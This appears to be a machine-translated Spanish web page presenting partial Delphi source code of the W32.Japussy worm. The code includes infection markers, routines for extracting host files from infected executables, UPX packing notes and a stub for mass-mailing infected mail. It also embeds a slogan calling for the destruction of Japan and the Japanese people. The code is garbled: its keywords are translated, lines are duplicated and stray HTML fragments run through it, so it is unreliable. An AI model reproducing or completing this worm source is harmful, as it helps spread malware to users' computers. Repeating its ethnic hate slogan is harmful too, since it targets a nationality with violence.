Cómo utilizar el código fuente del virus
Código de programa
programa Japussy
usa
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}
; p>
usa
p>
const
HeaderSize = 82432; //El tamaño del cuerpo del virus
IconOffset = $12EB8; //Desplazamiento del icono principal del archivo PE
// Compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden diferir
// Busque la cadena hexadecimal 2800000020 para encontrar el desplazamiento del icono principal
{
HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx
IconOffset = $92BC //Archivo PE comprimido Upx; desplazamiento del icono
//Upx 1.24W Uso: upx -9 --8086 Japussy.exe
}
IconSize = $2E8 //El tamaño de el ícono del archivo PE principal: 744 bytes
IconTail = IconOffset + IconSize; //Cola del ícono del archivo PE principal
ID = $4444BC;
/ Upx
ID = $4444444444; //Marca de infección
//Código basura para escribir
Catchword = 'Si es necesario matar una raza, hay que hacerlo Yamato.
' +
'¡Si un país necesita ser destruido, debe ser Japón! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
función RegisterServiceProcess(dwProcessID , dwType: Integer):
stdcall; external 'Kernel32.dll'; //declaración de función
var
TmpFile: string; p>Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //Marca del sistema operativo japonés
{ Determinar si es Win9x }< / p>
función IsWin9x:
var
Ver: TOSVersionInfo
comenzar
Resultado:= Falso
p >
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
si no GetVersionEx(Ver) entonces
Salir
if (Ver.dwPlatformID; = VER_PLATFORM_WIN32_WINDOWS) luego //Win9x
Resultado:= Verdadero
fin
{Copiar entre flujos de datos}
Procedimiento <; /p>
procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Src: TStream; Dst : TStream;
dStartPos: Entero; Contar: Entero
var
sCurPos, dCurPos:
comenzar
sCurPos := Src.Position;
dCurPos := Dst.Position
Src.Seek(sStartPos, 0);
Dst.Seek ( dStartPos, 0);
Dst.CopyFrom(Src, Dst.CurPos)
Dst.Seek(dStartPos, 0);
Dst.CopyFrom( Fuente). , Contar);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
fin; p>{Transferir el archivo host desde el archivo PE infectado para su uso}
Proced.
procedure ExtractFile(FileName: string
var
<); p>sStream, dStream:TFileStream;comenzar
intentar <
/p>
sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
pruebe
dStream := TFileStream.Create( FileName, fmCreate);
pruebe
sStream.Seek(HeaderSize, fmShareDenyNone);
pruebe
dStream := TFileStream.Create( FileName, fmCreate)
prueba
sStream.Seek(HeaderSize, fmShareDenyNone)
{Rellena la estructura STARTUPINFO}
Proceso
procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Palabra);
comenzar
Si.cb := TamañoDe(Si); /p> p>
Si.lpDesktop := nil;
Si.lpTitle := nil
Si.dwFlags := STARTF_USESHOWWINDOW
Si.wShowWindow := Estado;
Si.cbReserved2 := 0
Si.lpReserved2 := nil
fin; >{ Enviar PoisonedMail }
procedimiento (programa)
procedimiento SendMail
comenzar
;